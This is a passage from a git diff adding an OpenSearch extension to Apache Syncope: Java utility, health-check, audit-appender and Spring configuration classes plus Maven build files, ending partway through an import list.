String getNumberOfReplicas() { + return numberOfReplicas; + } + + public void setNumberOfReplicas(final String numberOfReplicas) { + this.numberOfReplicas = numberOfReplicas; + } +} diff --git a/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchUtils.java b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchUtils.java new file mode 100644 index 00000000000..8650fe09a44 --- /dev/null +++ b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchUtils.java @@ -0,0 +1,276 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.opensearch.client; + +import com.fasterxml.jackson.databind.JsonNode; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Set; +import java.util.stream.Collectors; +import org.apache.commons.lang3.ArrayUtils; +import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.persistence.api.entity.Any; +import org.apache.syncope.core.persistence.api.entity.AnyTypeClass; +import org.apache.syncope.core.persistence.api.entity.GroupableRelatable; +import org.apache.syncope.core.persistence.api.entity.PlainAttr; +import org.apache.syncope.core.persistence.api.entity.PlainAttrValue; +import org.apache.syncope.core.persistence.api.entity.Privilege; +import org.apache.syncope.core.persistence.api.entity.Realm; +import org.apache.syncope.core.persistence.api.entity.anyobject.AnyObject; +import org.apache.syncope.core.persistence.api.entity.group.Group; +import org.apache.syncope.core.persistence.api.entity.user.User; +import org.springframework.transaction.annotation.Transactional; + +/** + * Utility methods for usage with OpenSearch. + */ +public class OpenSearchUtils { + + public static String getAnyIndex(final String domain, final AnyTypeKind kind) { + return domain.toLowerCase() + '_' + kind.name().toLowerCase(); + } + + public static String getRealmIndex(final String domain) { + return domain.toLowerCase() + "_realm"; + } + + public static String getAuditIndex(final String domain) { + return domain.toLowerCase() + "_audit"; + } + + protected static final char[] ELASTICSEARCH_REGEX_CHARS = new char[] { + '.', '?', '+', '*', '|', '{', '}', '[', ']', '(', ')', '"', '\\', '&' }; + + public static String escapeForLikeRegex(final char c) { + StringBuilder output = new StringBuilder(); + + if (ArrayUtils.contains(ELASTICSEARCH_REGEX_CHARS, c)) { + output.append('\\'); + } + + output.append(c); + + return output.toString(); + } + + protected final UserDAO userDAO; + + protected final GroupDAO groupDAO; + + protected final AnyObjectDAO anyObjectDAO; + + public OpenSearchUtils( + final UserDAO userDAO, + final GroupDAO groupDAO, + final AnyObjectDAO anyObjectDAO) { + + this.userDAO = userDAO; + this.groupDAO = groupDAO; + this.anyObjectDAO = anyObjectDAO; + } + + /** + * Returns the document specialized with content from the provided any. + * + * @param any user, group or any object to index + * @return document specialized with content from the provided any + */ + @SuppressWarnings("unchecked") + @Transactional + public Map document(final Any any) { + Collection resources = any instanceof User + ? userDAO.findAllResourceKeys(any.getKey()) + : any instanceof AnyObject + ? anyObjectDAO.findAllResourceKeys(any.getKey()) + : groupDAO.findAllResourceKeys(any.getKey()); + Collection dynRealms = any instanceof User + ? userDAO.findDynRealms(any.getKey()) + : any instanceof AnyObject + ? anyObjectDAO.findDynRealms(any.getKey()) + : groupDAO.findDynRealms(any.getKey()); + + Map builder = new HashMap<>(); + builder.put("id", any.getKey()); + builder.put("realm", any.getRealm().getKey()); + builder.put("anyType", any.getType().getKey()); + builder.put("creationDate", any.getCreationDate()); + builder.put("creationContext", any.getCreationContext()); + builder.put("creator", any.getCreator()); + builder.put("lastChangeDate", any.getLastChangeDate()); + builder.put("lastModifier", any.getLastModifier()); + builder.put("lastChangeContext", any.getLastChangeContext()); + builder.put("status", any.getStatus()); + builder.put("auxClasses", any.getAuxClasses().stream().map(AnyTypeClass::getKey).collect(Collectors.toList())); + builder.put("resources", resources); + builder.put("dynRealms", dynRealms); + + if (any instanceof AnyObject) { + AnyObject anyObject = ((AnyObject) any); + builder.put("name", anyObject.getName()); + + builder.put("memberships", anyObjectDAO.findAllGroupKeys(anyObject)); + + List relationships = new ArrayList<>(); + List relationshipTypes = new ArrayList<>(); + anyObjectDAO.findAllRelationships(anyObject).forEach(relationship -> { + relationships.add(relationship.getRightEnd().getKey()); + relationshipTypes.add(relationship.getType().getKey()); + }); + builder.put("relationships", relationships); + builder.put("relationshipTypes", relationshipTypes); + + customizeDocument(builder, anyObject); + } else if (any instanceof Group) { + Group group = ((Group) any); + builder.put("name", group.getName()); + Optional.ofNullable(group.getUserOwner()).ifPresent(uo -> builder.put("userOwner", uo.getKey())); + Optional.ofNullable(group.getGroupOwner()).ifPresent(go -> builder.put("groupOwner", go.getKey())); + + Set members = new HashSet<>(); + members.addAll(groupDAO.findUMemberships(group).stream(). + map(membership -> membership.getLeftEnd().getKey()).collect(Collectors.toList())); + members.addAll(groupDAO.findUDynMembers(group)); + members.addAll(groupDAO.findAMemberships(group).stream(). + map(membership -> membership.getLeftEnd().getKey()).collect(Collectors.toList())); + members.addAll(groupDAO.findADynMembers(group)); + builder.put("members", members); + + customizeDocument(builder, group); + } else if (any instanceof User) { + User user = ((User) any); + builder.put("username", user.getUsername()); + builder.put("token", user.getToken()); + builder.put("tokenExpireTime", user.getTokenExpireTime()); + builder.put("changePwdDate", user.getChangePwdDate()); + builder.put("failedLogins", user.getFailedLogins()); + builder.put("lastLoginDate", user.getLastLoginDate()); + builder.put("suspended", user.isSuspended()); + builder.put("mustChangePassword", user.isMustChangePassword()); + + List roles = new ArrayList<>(); + Set privileges = new HashSet<>(); + userDAO.findAllRoles(user).forEach(role -> { + roles.add(role.getKey()); + privileges.addAll(role.getPrivileges().stream().map(Privilege::getKey).collect(Collectors.toSet())); + }); + builder.put("roles", roles); + builder.put("privileges", privileges); + + builder.put("memberships", userDAO.findAllGroupKeys(user)); + + List relationships = new ArrayList<>(); + Set relationshipTypes = new HashSet<>(); + user.getRelationships().forEach(relationship -> { + relationships.add(relationship.getRightEnd().getKey()); + relationshipTypes.add(relationship.getType().getKey()); + }); + builder.put("relationships", relationships); + builder.put("relationshipTypes", relationshipTypes); + + customizeDocument(builder, user); + } + + for (PlainAttr plainAttr : any.getPlainAttrs()) { + List values = plainAttr.getValues().stream(). + map(PlainAttrValue::getValue).collect(Collectors.toList()); + + Optional.ofNullable(plainAttr.getUniqueValue()).ifPresent(v -> values.add(v.getValue())); + + builder.put(plainAttr.getSchema().getKey(), values.size() == 1 ? values.get(0) : values); + } + + // add also flattened membership attributes + if (any instanceof GroupableRelatable) { + GroupableRelatable groupable = GroupableRelatable.class.cast(any); + groupable.getMemberships().forEach(m -> groupable.getPlainAttrs(m).forEach(mAttr -> { + List values = mAttr.getValues().stream(). + map(PlainAttrValue::getValue).collect(Collectors.toList()); + + Optional.ofNullable(mAttr.getUniqueValue()).ifPresent(v -> values.add(v.getValue())); + + Object attr = builder.computeIfAbsent(mAttr.getSchema().getKey(), k -> new HashSet<>()); + // also support case in which there is also an existing attribute set previously + if (attr instanceof Collection) { + ((Collection) attr).addAll(values); + } else { + values.add(attr); + builder.put(mAttr.getSchema().getKey(), values.size() == 1 ? values.get(0) : values); + } + })); + } + + return builder; + } + + protected void customizeDocument(final Map builder, final AnyObject anyObject) { + } + + protected void customizeDocument(final Map builder, final Group group) { + } + + protected void customizeDocument(final Map builder, final User user) { + } + + public Map document(final Realm realm) { + Map builder = new HashMap<>(); + builder.put("id", realm.getKey()); + builder.put("name", realm.getName()); + builder.put("parent_id", realm.getParent() == null ? null : realm.getParent().getKey()); + builder.put("fullPath", realm.getFullPath()); + + customizeDocument(builder, realm); + + return builder; + } + + protected void customizeDocument(final Map builder, final Realm realm) { + } + + public Map document( + final long instant, + final JsonNode message, + final String domain) throws IOException { + + Map builder = new HashMap<>(); + + builder.put("instant", instant); + builder.put("message", message); + + customizeDocument(builder, instant, message, domain); + + return builder; + } + + protected void customizeDocument( + final Map builder, + final long instant, + final JsonNode message, + final String domain) + throws IOException { + } +} diff --git a/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/SyncopeOpenSearchHealthContributor.java b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/SyncopeOpenSearchHealthContributor.java new file mode 100644 index 00000000000..d163fa4b672 --- /dev/null +++ b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/SyncopeOpenSearchHealthContributor.java @@ -0,0 +1,70 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.opensearch.client; + +import org.opensearch.client.opensearch.OpenSearchClient; +import org.opensearch.client.opensearch.cluster.HealthResponse; +import org.springframework.boot.actuate.health.Health; +import org.springframework.boot.actuate.health.HealthIndicator; + +public class SyncopeOpenSearchHealthContributor implements HealthIndicator { + + protected final OpenSearchClient client; + + public SyncopeOpenSearchHealthContributor(final OpenSearchClient client) { + this.client = client; + } + + @Override + public Health health() { + Health.Builder builder = new Health.Builder(); + + try { + HealthResponse health = client.cluster().health(); + switch (health.status()) { + case Green: + case Yellow: + builder.up(); + break; + + case Red: + default: + builder.down(); + } + builder.withDetail("cluster_name", health.clusterName()); + builder.withDetail("status", health.status().jsonValue()); + builder.withDetail("timed_out", health.timedOut()); + builder.withDetail("number_of_nodes", health.numberOfNodes()); + builder.withDetail("number_of_data_nodes", health.numberOfDataNodes()); + builder.withDetail("active_primary_shards", health.activePrimaryShards()); + builder.withDetail("relocating_shards", health.relocatingShards()); + builder.withDetail("initializing_shards", health.initializingShards()); + builder.withDetail("unassigned_shards", health.unassignedShards()); + builder.withDetail("delayed_unassigned_shards", health.delayedUnassignedShards()); + builder.withDetail("number_of_pending_tasks", health.numberOfPendingTasks()); + builder.withDetail("number_of_in_flight_fetch", health.numberOfInFlightFetch()); + builder.withDetail("task_max_waiting_in_queue_millis", health.taskMaxWaitingInQueueMillis()); + builder.withDetail("active_shards_percent_as_number", health.activeShardsPercentAsNumber()); + } catch (Exception e) { + builder.down(e); + } + + return builder.build(); + } +} diff --git a/ext/opensearch/client-opensearch/src/main/resources/META-INF/spring.factories b/ext/opensearch/client-opensearch/src/main/resources/META-INF/spring.factories new file mode 100644 index 00000000000..19f44825887 --- /dev/null +++ b/ext/opensearch/client-opensearch/src/main/resources/META-INF/spring.factories @@ -0,0 +1,19 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ + org.apache.syncope.ext.opensearch.client.OpenSearchClientContext diff --git a/ext/flowable/client-common-ui/pom.xml b/ext/opensearch/logic/pom.xml similarity index 67% rename from ext/flowable/client-common-ui/pom.xml rename to ext/opensearch/logic/pom.xml index 0146b2e889f..40a52e35116 100644 --- a/ext/flowable/client-common-ui/pom.xml +++ b/ext/opensearch/logic/pom.xml @@ -20,41 +20,37 @@ under the License. 4.0.0 - + org.apache.syncope.ext - syncope-ext-flowable - 3.0.1-SNAPSHOT + syncope-ext-opensearch + 3.0.17-SNAPSHOT - - Apache Syncope Ext: Flowable Client Common UI - Apache Syncope Ext: Flowable Client Common UI - org.apache.syncope.ext.flowable - syncope-ext-flowable-client-common-ui + + Apache Syncope Ext: OpenSearch Logic + Apache Syncope Ext: OpenSearch Logic + org.apache.syncope.ext.opensearch + syncope-ext-opensearch-logic jar ${basedir}/../../.. - + - org.apache.syncope.client.idrepo - syncope-client-idrepo-common-ui - ${project.version} - - - org.apache.syncope.ext.flowable - syncope-ext-flowable-common-lib + org.apache.syncope.core.idrepo + syncope-core-idrepo-logic ${project.version} + - org.apache.syncope.ext.flowable - syncope-ext-flowable-rest-api + org.apache.syncope.ext.opensearch + syncope-ext-opensearch-client ${project.version} - + diff --git a/ext/opensearch/logic/src/main/java/org/apache/syncope/core/logic/audit/OpenSearchAppender.java b/ext/opensearch/logic/src/main/java/org/apache/syncope/core/logic/audit/OpenSearchAppender.java new file mode 100644 index 00000000000..39bbee6e8ba --- /dev/null +++ b/ext/opensearch/logic/src/main/java/org/apache/syncope/core/logic/audit/OpenSearchAppender.java @@ -0,0 +1,97 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.logic.audit; + +import com.fasterxml.jackson.databind.JsonNode; +import java.io.Serializable; +import org.apache.logging.log4j.core.Filter; +import org.apache.logging.log4j.core.Layout; +import org.apache.logging.log4j.core.LogEvent; +import org.apache.logging.log4j.core.appender.AbstractAppender; +import org.apache.logging.log4j.core.config.Property; +import org.apache.logging.log4j.core.config.plugins.PluginBuilderFactory; +import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; +import org.apache.syncope.ext.opensearch.client.OpenSearchIndexManager; + +public class OpenSearchAppender extends AbstractAppender { + + public static class Builder extends AbstractAppender.Builder + implements org.apache.logging.log4j.core.util.Builder { + + private OpenSearchIndexManager openSearchIndexManager; + + private String domain; + + public OpenSearchAppender.Builder setDomain(final String domain) { + this.domain = domain; + return this; + } + + public OpenSearchAppender.Builder setIndexManager( + final OpenSearchIndexManager openSearchIndexManager) { + + this.openSearchIndexManager = openSearchIndexManager; + return this; + } + + @Override + public OpenSearchAppender build() { + if (domain == null || openSearchIndexManager == null) { + LOGGER.error("Cannot create OpenSearchAppender without Domain or IndexManager."); + return null; + } + return new OpenSearchAppender( + getName(), getFilter(), getLayout(), isIgnoreExceptions(), domain, openSearchIndexManager); + } + } + + @PluginBuilderFactory + public static Builder newBuilder() { + return new Builder(); + } + + private final String domain; + + protected final OpenSearchIndexManager openSearchIndexManager; + + protected OpenSearchAppender( + final String name, + final Filter filter, + final Layout layout, + final boolean ignoreExceptions, + final String domain, + final OpenSearchIndexManager openSearchIndexManager) { + + super(name, filter, layout, ignoreExceptions, Property.EMPTY_ARRAY); + this.domain = domain; + this.openSearchIndexManager = openSearchIndexManager; + } + + @Override + public void append(final LogEvent event) { + try { + openSearchIndexManager.audit( + domain, + event.getTimeMillis(), + POJOHelper.deserialize(event.getMessage().getFormattedMessage(), JsonNode.class)); + } catch (Exception e) { + LOGGER.error("While requesting to index event for appender [{}]", getName(), e); + } + } +} diff --git a/ext/opensearch/logic/src/main/java/org/apache/syncope/core/logic/audit/OpenSearchAuditAppender.java b/ext/opensearch/logic/src/main/java/org/apache/syncope/core/logic/audit/OpenSearchAuditAppender.java new file mode 100644 index 00000000000..1cf41112fd6 --- /dev/null +++ b/ext/opensearch/logic/src/main/java/org/apache/syncope/core/logic/audit/OpenSearchAuditAppender.java @@ -0,0 +1,52 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.logic.audit; + +import java.util.Optional; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.core.Appender; +import org.apache.logging.log4j.core.LoggerContext; +import org.apache.syncope.ext.opensearch.client.OpenSearchIndexManager; + +public class OpenSearchAuditAppender extends DefaultAuditAppender { + + public OpenSearchAuditAppender(final String domain, final OpenSearchIndexManager openSearchIndexManager) { + super(domain); + + LoggerContext logCtx = (LoggerContext) LogManager.getContext(false); + + targetAppender = Optional.ofNullable(logCtx.getConfiguration().getAppender(getTargetAppenderName())). + orElseGet(() -> { + OpenSearchAppender a = OpenSearchAppender.newBuilder(). + setName(getTargetAppenderName()). + setIgnoreExceptions(false). + setDomain(domain). + setIndexManager(openSearchIndexManager). + build(); + a.start(); + logCtx.getConfiguration().addAppender(a); + return a; + }); + } + + @Override + public String getTargetAppenderName() { + return "audit_for_" + domain; + } +} diff --git a/ext/opensearch/logic/src/main/java/org/apache/syncope/core/logic/audit/OpenSearchLogicContext.java b/ext/opensearch/logic/src/main/java/org/apache/syncope/core/logic/audit/OpenSearchLogicContext.java new file mode 100644 index 00000000000..a0ff23d7d49 --- /dev/null +++ b/ext/opensearch/logic/src/main/java/org/apache/syncope/core/logic/audit/OpenSearchLogicContext.java @@ -0,0 +1,62 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.logic.audit; + +import java.util.ArrayList; +import java.util.List; +import org.apache.logging.log4j.Level; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.core.LoggerContext; +import org.apache.logging.log4j.core.config.LoggerConfig; +import org.apache.syncope.common.lib.types.AuditLoggerName; +import org.apache.syncope.core.logic.IdRepoLogicContext; +import org.apache.syncope.core.persistence.api.DomainHolder; +import org.apache.syncope.ext.opensearch.client.OpenSearchIndexManager; +import org.springframework.boot.autoconfigure.AutoConfigureBefore; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@AutoConfigureBefore(IdRepoLogicContext.class) +@Configuration(proxyBeanMethods = false) +public class OpenSearchLogicContext { + + @ConditionalOnMissingBean(name = { "defaultAuditAppenders", "openSearchDefaultAuditAppenders" }) + @Bean + public List defaultAuditAppenders( + final DomainHolder domainHolder, + final OpenSearchIndexManager openSearchIndexManager) { + + List auditAppenders = new ArrayList<>(); + + LoggerContext logCtx = (LoggerContext) LogManager.getContext(false); + domainHolder.getDomains().forEach((domain, dataSource) -> { + AuditAppender appender = new OpenSearchAuditAppender(domain, openSearchIndexManager); + + LoggerConfig logConf = new LoggerConfig(AuditLoggerName.getAuditLoggerName(domain), null, false); + logConf.addAppender(appender.getTargetAppender(), Level.DEBUG, null); + logConf.setLevel(Level.DEBUG); + logCtx.getConfiguration().addLogger(logConf.getName(), logConf); + + auditAppenders.add(appender); + }); + + return auditAppenders; + } +} diff --git a/ext/opensearch/logic/src/main/resources/META-INF/spring.factories b/ext/opensearch/logic/src/main/resources/META-INF/spring.factories new file mode 100644 index 00000000000..1171a0276e8 --- /dev/null +++ b/ext/opensearch/logic/src/main/resources/META-INF/spring.factories @@ -0,0 +1,19 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ + org.apache.syncope.core.logic.audit.OpenSearchLogicContext diff --git a/ext/opensearch/persistence-jpa/pom.xml b/ext/opensearch/persistence-jpa/pom.xml new file mode 100644 index 00000000000..e5ca6086e91 --- /dev/null +++ b/ext/opensearch/persistence-jpa/pom.xml @@ -0,0 +1,89 @@ + + + + + 4.0.0 + + + org.apache.syncope.ext + syncope-ext-opensearch + 3.0.17-SNAPSHOT + + + Apache Syncope Ext: OpenSearch Persistence JPA + Apache Syncope Ext: OpenSearch Persistence JPA + org.apache.syncope.ext.opensearch + syncope-ext-opensearch-persistence-jpa + jar + + + ${basedir}/../../.. + + + + + org.apache.syncope.core + syncope-core-persistence-jpa + ${project.version} + + + + org.apache.syncope.ext.opensearch + syncope-ext-opensearch-client + ${project.version} + + + + + org.slf4j + slf4j-simple + test + + + org.mockito + mockito-inline + test + + + org.junit.jupiter + junit-jupiter + test + + + org.mockito + mockito-junit-jupiter + test + + + org.assertj + assertj-core + test + + + + + + + org.apache.maven.plugins + maven-checkstyle-plugin + + + + diff --git a/ext/opensearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/OpenSearchPersistenceContext.java b/ext/opensearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/OpenSearchPersistenceContext.java new file mode 100644 index 00000000000..8725d1e2e83 --- /dev/null +++ b/ext/opensearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/OpenSearchPersistenceContext.java @@ -0,0 +1,95 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa; + +import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; +import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; +import org.apache.syncope.core.persistence.api.dao.AuditConfDAO; +import org.apache.syncope.core.persistence.api.dao.DynRealmDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; +import org.apache.syncope.core.persistence.api.dao.RoleDAO; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; +import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.apache.syncope.core.persistence.jpa.dao.OpenSearchAnySearchDAO; +import org.apache.syncope.core.persistence.jpa.dao.OpenSearchAuditConfDAO; +import org.apache.syncope.core.persistence.jpa.dao.OpenSearchRealmDAO; +import org.apache.syncope.ext.opensearch.client.OpenSearchProperties; +import org.opensearch.client.opensearch.OpenSearchClient; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.context.ApplicationEventPublisher; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Lazy; + +@Configuration(proxyBeanMethods = false) +public class OpenSearchPersistenceContext { + + @ConditionalOnMissingBean(name = "openSearchAnySearchDAO") + @Bean + public AnySearchDAO anySearchDAO( + final OpenSearchProperties props, + final RealmDAO realmDAO, + final @Lazy DynRealmDAO dynRealmDAO, + final @Lazy UserDAO userDAO, + final @Lazy GroupDAO groupDAO, + final @Lazy AnyObjectDAO anyObjectDAO, + final PlainSchemaDAO schemaDAO, + final EntityFactory entityFactory, + final AnyUtilsFactory anyUtilsFactory, + final PlainAttrValidationManager validator, + final OpenSearchClient client) { + + return new OpenSearchAnySearchDAO( + realmDAO, + dynRealmDAO, + userDAO, + groupDAO, + anyObjectDAO, + schemaDAO, + entityFactory, + anyUtilsFactory, + validator, + client, + props.getIndexMaxResultWindow()); + } + + @ConditionalOnMissingBean(name = "openSearchRealmDAO") + @Bean + public RealmDAO realmDAO( + final @Lazy RoleDAO roleDAO, + final ApplicationEventPublisher publisher, + final OpenSearchProperties props, + final OpenSearchClient client) { + + return new OpenSearchRealmDAO(roleDAO, publisher, client, props.getIndexMaxResultWindow()); + } + + @ConditionalOnMissingBean(name = "openSearchAuditConfDAO") + @Bean + public AuditConfDAO auditConfDAO( + final OpenSearchProperties props, + final OpenSearchClient client) { + + return new OpenSearchAuditConfDAO(client, props.getIndexMaxResultWindow()); + } +} diff --git a/ext/opensearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/OpenSearchAnySearchDAO.java b/ext/opensearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/OpenSearchAnySearchDAO.java new file mode 100644 index 00000000000..aacf5922dfa --- /dev/null +++ b/ext/opensearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/OpenSearchAnySearchDAO.java @@ -0,0 +1,640 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.dao; + +import java.lang.reflect.Field; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Optional; +import java.util.Set; +import java.util.stream.Collectors; +import org.apache.commons.lang3.tuple.Pair; +import org.apache.commons.lang3.tuple.Triple; +import org.apache.syncope.common.lib.SyncopeClientException; +import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.common.lib.types.AttrSchemaType; +import org.apache.syncope.common.lib.types.ClientExceptionType; +import org.apache.syncope.common.rest.api.service.JAXRSService; +import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; +import org.apache.syncope.core.persistence.api.dao.DynRealmDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.persistence.api.dao.search.AnyCond; +import org.apache.syncope.core.persistence.api.dao.search.AnyTypeCond; +import org.apache.syncope.core.persistence.api.dao.search.AttrCond; +import org.apache.syncope.core.persistence.api.dao.search.AuxClassCond; +import org.apache.syncope.core.persistence.api.dao.search.DynRealmCond; +import org.apache.syncope.core.persistence.api.dao.search.MemberCond; +import org.apache.syncope.core.persistence.api.dao.search.MembershipCond; +import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; +import org.apache.syncope.core.persistence.api.dao.search.PrivilegeCond; +import org.apache.syncope.core.persistence.api.dao.search.RelationshipCond; +import org.apache.syncope.core.persistence.api.dao.search.RelationshipTypeCond; +import org.apache.syncope.core.persistence.api.dao.search.ResourceCond; +import org.apache.syncope.core.persistence.api.dao.search.RoleCond; +import org.apache.syncope.core.persistence.api.dao.search.SearchCond; +import org.apache.syncope.core.persistence.api.entity.Any; +import org.apache.syncope.core.persistence.api.entity.AnyUtils; +import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; +import org.apache.syncope.core.persistence.api.entity.DynRealm; +import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.apache.syncope.core.persistence.api.entity.PlainAttrValue; +import org.apache.syncope.core.persistence.api.entity.PlainSchema; +import org.apache.syncope.core.persistence.api.entity.Realm; +import org.apache.syncope.core.provisioning.api.utils.FormatUtils; +import org.apache.syncope.core.provisioning.api.utils.RealmUtils; +import 